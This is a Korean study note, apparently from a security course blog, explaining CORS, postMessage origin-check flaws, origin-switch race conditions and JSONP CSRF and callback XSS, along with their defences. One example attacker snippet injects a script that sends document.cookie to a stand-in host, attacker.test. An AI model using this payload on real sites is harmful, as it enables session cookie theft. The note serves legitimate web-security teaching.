CORS (Cross-Origin Resource Sharing)

동일 출처 정책(SOP)의 한계를 극복하고 다른 오리진 간 자원 공유를 가능하게 하는 방법

이를 위해 postMessage, JSONP 와 같은 기술들이 도입되었다.

 

  • CORS의 목적: SOP 보안 정책을 우회하여, 다른 오리진 간에 자원을 안전하게 공유할 수 있도록 설계됨
  • 취약점 발생 가능성: CORS를 잘못 설정하면 사이트 간 요청 위조(CSRF)와 같은 보안 취약점이 발생할 수 있음. 이는 웹 서비스뿐만 아니라 P2P 파일 공유 소프트웨어에서도 문제가 될 수 있음

 

 

CORS 사용 시 발생할 수 있는 주요 취약점

  • 기밀성 문제:
    • CORS가 민감한 정보를 특정 대상에게만 공유하려는 경우에도, Origin 검사를 제대로 하지 않으면 정보가 다른 사이트로 유출될 위험이 있음
    • 예를 들어, CORS 요청 시 Origin 검사가 없거나 제한이 없는 경우, 사용자의 신원 등 민감한 정보가 노출될 수 있음
  • 무결성 문제:
    • CORS 요청의 Origin을 신뢰할 수 있는지 확인하지 않거나 제한하지 않으면, XSS와 같은 보안 문제가 발생할 수 있음
    • CORS 설정 시 신뢰할 사이트를 정확히 결정하고, XSS 필터와 같은 추가적인 방어가 필요

 

 

 

postMessage 취약점

초기의 웹 환경에서는 프레임들이 서로 코드를 자유롭게 호출할 수 있었지만 SOP가 도입되면서 서로 다른 오리진의 리소스 공유가 제한되었다.

이를 해결하기 위해, 서로 다른 오리진 간에 안전하게 메시지를 주고받을 수 있는 API가 고안되었다.

 

  • 메시지 전송: 대상 윈도우의 postMessage 메소드를 호출하여 메시지를 전송
  • 메시지 수신: 수신 측에서는 message 전역 이벤트를 사용해 메시지를 처리

postMessage는 문자열뿐만 아니라 객체도 주고받을 수 있지만, 보안을 위해 함수, DOM 노드, 프로토타입, get/set 속성은 전송할 수 없다.

또한, 전송되는 객체는 복사되기 때문에, 송신 후에 객체를 변경해도 수신 측에서는 변경된 내용을 볼 수 없다.

 

 

Origin 미확인

postMessage API 사용 시 Origin 을 명확히 지정 및 검사해야 한다.

message 이벤트 핸들러에서 origin 속성을 검사하지 않고 메시지의 내용을 신뢰하면 보안 문제가 발생할 수 있다.

 

아래는 Origin을 확인하지 않는 예제다.

프레임 내 하위 윈도우에서 부모 윈도우로 postMessage를 보내고 있다. 

여기서 부모 윈도우에서 수신한 messgae의 data를 innerHTML로 넣는 것을 볼 수 있다.

이 때 부모 윈도우에서 portMessage의 Origin을 확인하지 않아 공격자의 오리진에서 임의 HTML을 삽입할 수 있다.

// https://dreamhack.io
window.onmessage = function (e) {
    var dialog = document.getElementById('my-dialog');
    if (dialog == null) {
        dialog = document.createElement('dialog');
        dialog.id = 'my-dialog';
        document.body.appendChild(dialog);
    }
    dialog.setAttribute('open', '');
    dialog.innerHTML = e.data;  // Insert html
};

부모 window

// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');

하위 window

// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');

공격자 window

 

 

Origin 전환 경합 조건

postMessage를 사용할 때 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도우)라는 것을 주의해야 한다.

창의 경우에는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른 문서로 리다이렉트시켜 Origin이 변경될 수 있다.

이 상태에서 메시지를 보내면 의도하지 않은 Origin으로 메시지가 전송되는 보안 문제가 발생할 수 있다.

 

공격 시나리오

  1. 부모 window에서 하위 window 생성
  2. 하위 window가 부모 window한테 postMessage로 메시지 및 비밀 값 전송
  3. 부모 window가 공격작의 다른 웹 사이트로 리다이렉트
  4. 하위 window는 여전히 부모 window에게 메시지 및 비밀 값 전송
  5. 공격자 사이트가 하위 window가 보내주는 메시지 수신

 


 

 

JSONP 취약점

JSON with Padding의 준말

CORS 기술이 도입되기 전, SOP를 우회하기 위해 사용된 방식

JSONP API는 JSON API와 유사하나, 응답 데이터를 특정 콜백 함수로 호풀하는 코드로 감싸고 요청 시 XHR이 아니라 다음과 같이 스크립트로 포함시켜 동작한다는 점이 다르다.

<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">

 

 

응답은 onAPIResponse({...}); 식으로 생성되어 최종적으로 본래 문서의 함수를 호출하게 된다.

 

 

Origin 검사 부재로 인한 CSRF

HTTP GET 메소드에 의존하는 JSONP 특성 상 CSRF 공격에 취약하다.

 

민감한 정보를 반환하거나 권한이 필요한 작업을 수행하는 JSONP API가 CSRF 공격에 노출되었을 경우,

JSONP API를 이용해 추가적인 정보 유출 및 피해가 발생할 수 있다.

 

이를 방어하기 위해 JSONP 요청을 처리할 때 요청자의 Origin을 검사하거나, CSRF 토큰을 사용할 수 있다.

 

 

콜백 함수명 검증 부재로 인한 제공자 XSS

JSONP API 대부분은 사용자가 콜백 함수명을 직접 지정할 수 있도록 하고 있다. 만일 콜백명에 HTML 코드 등을 삽입한다면 브라우저는 이를 HTML 코드로 인식할 수 있고, 이 경우 XSS 취약점이 발생하게 된다.

 

콜백 HTML 삽입을 막기 위해서 콜백명에 필터를 적용해야 한다. 

 

JSONP는 API 제공자의 코드를 그대로 사용자의 웹 문서에서 실행한다.

만약 JSONP API가 침해 사고를 당해 악의적인 응답이 들어온다면 이를 이용하는 모든 사이트는 XSS 공격에 노출된다.

따라서 JSONP 사용을 피하고 CORS 정책 헤더를 대신 사용해야 한다.

 

+ Recent posts